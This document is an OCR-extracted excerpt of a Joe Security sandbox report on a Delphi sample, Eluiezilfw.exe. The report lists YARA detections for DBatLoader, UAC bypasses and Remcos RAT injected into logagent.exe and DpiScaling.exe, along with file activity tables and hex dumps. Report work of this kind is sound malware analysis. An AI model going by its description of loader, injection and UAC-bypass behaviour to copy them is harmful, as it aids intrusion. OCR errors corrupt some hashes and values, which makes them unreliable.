Count Source Address

1 40B747

i 40B747

Symbol

Symbol

RegCreateKeyA

Symbol

RegSetValueEx

A

RegSetValueEx

A
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Imagebase: 0x400000

File size: 901632 bytes

MDS5 hash: 8E60C68E832622BOEBD88A612898A9F9

Has elevated privileges: false

Has administrator false

privileges:

Programmed in: Borland Delphi

Yara matches: e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:

00000008.00000002.344209783.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security

e Rule: JoeSecurity_UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source:
00000008.00000002.348456214.0000000003C4C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000008.00000002.347399894.0000000003760000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000008.00000002.346405704.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000008.00000002.349121751.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000008.00000000.309996740.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security

e Rule: JoeSecurity_UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source:
00000008.00000002.347895283.0000000003AC8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
00000008.00000002.349277729.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: C:\Users\Public\Libraries\Eluiezilfw.exe, Author: Joe Security

Antivirus matches: e Detection: 22%, ReversingLabs

Reputation: low

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user read data or list  device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list  device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Mi read data or list ~ device directory file | object name collision 1 3193868 InternetOpen
crosoft\Windows\INetCache directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list  device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list ~ device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Mi read data or list  device directory file | object name collision 1 3193868 InternetOpen
crosoft\Windows\INetCookies directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list  device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list  device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse
point
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File Path

C:\Users\user\AppData\Local\Mi

crosoft\Windows\INetCookies

C:\Users\user

C:\Users\user\AppData\Local

C:\Users\user\AppData\Local\Microsoft\Windows\History

File Written
File Path Offset Length
C:\Users\user\AppData\Local\Mi 0 1024

crosoft\Windows\INetCache\lE\P
SUEOSZZ\Eluiezilfwmdrgrdfrgpnw
murrnwnhm[1]

File Read
File Path
C:\Users\Public\Libraries\Eluiezilfw.exe

C:\Users\Public\Libraries\Eluiezilfw.exe

Completion

object name collision

object name collision

object name collision

object name collision

Completion

Access Attributes Options

read data or list  device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

read data or list  device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

read data or list  device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

read data or list ~ device directory file |

directory | synchronous io

synchronize non alert | open
for backup ident
| open reparse
point

Value Ascii
28 7f fd 25 fd 25 25 25 29 (%%%%)%%%%%%%% success or wait

25 25 25 fd fd 25 25 fd 25
25 25 25 25 25 25 65 25
2525 25 25 25 25 25 25
2525 25 25 25 25 25 25
25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25
25 25 25 fd 25 25 33 fd fd
33 25 fd fd fd fd fd 71 fd
fd 79 fd 44 4e 45 fd fd 4a
42 fd 3c 48 45 3e 3c fd fd
4a fd 45 fd 40 45 fd 50 fd
45 44 fd 45 69 2a 2e 45
48 4a fd 40 53 fd fd 2f 49
2525252525252519
fd 3d fd 52 fd fd 52 fd fd
52 fd fd Oe fd fd fd fd fd fd
fd fd fd 58 fd fd fd fd fd fd
61 fd fd fd fd fd fd 57 fd
d2 fd fd 63 fd 04 fd fd fd
fd fd 7d fd 58 fd fd fd fd fd
63 fd 3b fd fd fd fd fd 52
52 fd fd db fd Oe fd 06 fd
7e fd fd fd fd 6¢c 58 fd 47
fd fd fd fd 6c fd fd fd fd fd
fd fd 4f 01 fd 52 fd fd 52
fd fd fd fd fd fd fd 77 44
3e fd 52 fd

Offset

unknown

unknown

Analysis Process: Eluiezilfw.exe PID: 5628, Parent PID: 3968

General

Target ID: 13

Start time: 09:43:14

Start date: 26/06/2022

Path: C:\Users\Public\Libraries\Eluiezilfw.exe

Wow64 process (32bit): true

Commandline:

"C:\Users\Public\Libraries\Eluiezilfw.exe"

Imagebase: 0x400000
File size: 901632 bytes
MDS5 hash: 8E60C68E832622BOEBD88A612898A9F9

Copyright Joe Security LLC 2022

9%6%%%e %% %% %% %%
%%%
9%6%%%%% %% %% %%
9%6%%%%% %% %% %%
%%%33%
qyDNEJB<HE>
<JE@EPEDEi*.EHI@S/I
9%%%%%%%=Xc}Xc;R~I
XGIORwD>

Length
901632
901632

Completion
success or wait

success or wait

Count Source Address

1 3193868
1 3193868
1 3193868
1 3193868

Count Source Address

273

3193B25

Count Source Address

1
1

409695
318311D

Symbol

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

Symbol

InternetReadFile

Symbol
ReadFile

ReadFile
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Has elevated privileges: false

Has administrator false

privileges:

Programmed in: Borland Delphi

Yara matches: e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:

0000000D.00000002.360030568.00000000031A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
0000000D.00000000.326994994.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
0000000D.00000002.361029837.000000007FDD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
0000000D.00000002.360948526.000000007FD20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
0000000D.00000002.358808877.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Author: Joe Security

e Rule: JoeSecurity_UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source:
0000000D.00000002.360606462.0000000003C4C000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source:
0000000D.00000002.360296603.0000000003760000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_UACBypassusingComputerDefaults, Description: Yara detected UAC Bypass using ComputerDefaults, Source:
0000000D.00000002.360448965.0000000003AC8000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security

Reputation: low

File Activities

File Created
File Path Access Attributes Options Completion Count Source Address Symbol
C:\Users\user read data or list  device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list ~ device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Mi read data or list  device directory file | object name collision 1 3193868 InternetOpen
crosoft\Windows\INetCache directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list ~ device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list ~ device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Mi read data or list  device directory file | object name collision 1 3193868 InternetOpen
crosoft\Windows\INetCookies directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list ~ device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list  device directory file | object name collision 1 3193868 InternetOpen
directory | synchronous io UrlA
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Mi read data or list ~ device directory file | object name collision 1 3193868 InternetOpen
crosoft\Windows\INetCookies directory | synchronous io UrlA
synchronize non alert | open

for backup ident
| open reparse
point
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File Path Access Attributes Options
C:\Users\user read data or list  device directory file |
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list  device directory file |
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list  device directory file |
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
File Written
File Path Offset Length Value Ascii
C:\Users\user\AppData\Local\Mi 0 1024 28 7f fd 25 fd 25 25 25 29 (%%%%)%%%%%%%%

crosoft\Windows\INetCache\lE\O
W10PBUV\Eluiezilfwmdrgrdfrgpnw

murrnwnhm[1]

File Read

File Path

C:\Users\Public\Libraries\Eluiezilfw.exe

C:\Users\Public\Libraries\Eluiezilfw.exe

25 25 25 fd fd 25 25 fd 25
25 25 25 25 25 25 65 25
25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25
25 25 25 fd 25 25 33 fd fd
3325 fd fd fd fd fd 71 fd
fd 79 fd 44 4e 45 fd fd 4a
42 fd 3c 48 45 3e 3c fd fd
4a fd 45 fd 40 45 fd 50 fd
45 44 fd 45 69 2a 2e 45
48 4a fd 40 53 fd fd 2f 49
2525252525 252519
fd 3d fd 52 fd fd 52 fd fd
52 fd fd Oe fd fd fd fd fd fd
fd fd fd 58 fd fd fd fd fd fd
61 fd fd fd fd fd fd 57 fd
d2 fd fd 63 fd 04 fd fd fd
fd fd 7d fd 58 fd fd fd fd fd
63 fd 3b fd fd fd fd fd 52
52 fd fd db fd Oe fd 06 fd
7e fd fd fd fd 6¢ 58 fd 47
fd fd fd fd 6¢ fd fd fd fd fd
fd fd 4f 01 fd 52 fd fd 52
fd fd fd fd fd fd fd 77 44
3e fd 52 fd

Offset

unknown

unknown

Analysis Process: logagent.exe PID: 3960, Parent PID: 6880

General
Target ID:
Start time:
Start date:

Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

14

09:43:14

26/06/2022
C:\Windows\SysWOW64\logagent.exe

true

C:\Windows\System32\logagent.exe
0xea0000

86016 bytes
E2036AC444AB4AD91EECC1AB0FF7212F
false

false

C, C++ or other language

Copyright Joe Security LLC 2022

9%6%%%e %% %% %% %%
%%%
9%%%%%% %% %% %%
9%6%%%%% %% %% %%
%%%33%
qyDNEJB<HE>
<JE@EPEDEi*.EHI@S/I
9%%%%%%%=Xc}Xc;R~I
XGIORwD>

Length
901632
901632

Completion

object name collision

object name collision

object name collision

Completion

success or wait

Completion
success or wait

success or wait

Count Source Address

270

Count Source Address

1
1

Count Source Address

3193868

3193868

3193868

3193B25

409695
318311D

Symbol

InternetOpen
UrlA

InternetOpen
UrlA

InternetOpen
UrlA

Symbol

InternetReadFile

Symbol
ReadFile

ReadFile
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Yara matches: e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:

0000000E.00000002.344931678.0000000000080000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:
0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security

e Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using
eventvwr.exe, Source: 0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen

e Rule: Remcos_1, Description: Remcos Payload, Source:
0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly

e Rule: REMCOS_RAT_variants, Description: unknown, Source:
0000000E.00000002.345028532.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:
0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using
eventvwr.exe, Source: 0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen

e Rule: Remcos_1, Description: Remcos Payload, Source:
0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: kevoreilly

e Rule: REMCOS_RAT_variants, Description: unknown, Source:
0000000E.00000002.344444843.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Reputation: moderate

Analysis Process: DpiScaling.exe PID: 5936, Parent PID: 5628

General

Target ID: 15

Start time: 09:43:25

Start date: 26/06/2022

Path: C:\Windows\SysWOW64\DpiScaling.exe

Wow64 process (32bit): true

Commandline: C:\Windows\System32\DpiScaling.exe

Imagebase: 0x1040000

File size: 77312 bytes

MD5 hash: 302B1BBDBF4D96BEE99C6B45680CEBSE

Has elevated privileges: false

Has administrator false

privileges:

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:

0000000F.00000002.359362662.0000000004C00000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:
0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security

e Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using
eventvwr.exe, Source: 0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen

e Rule: Remcos_1, Description: Remcos Payload, Source:
0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly

e Rule: REMCOS_RAT _variants, Description: unknown, Source:
0000000F.00000002.359461010.0000000010540000.00000040.00000400.00020000.00000000.sdmp, Author: unknown

e Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source:
0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: INDICATOR_SUSPICIOUS_EXE_UACBYypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using
eventvwr.exe, Source: 0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: ditekSHen

e Rule: Remcos_1, Description: Remcos Payload, Source:
0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: kevoreilly

e Rule: REMCOS_RAT _variants, Description: unknown, Source:
0000000F.00000002.359014931.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Author: unknown

Reputation: moderate

Disassembly

@ No disassembly
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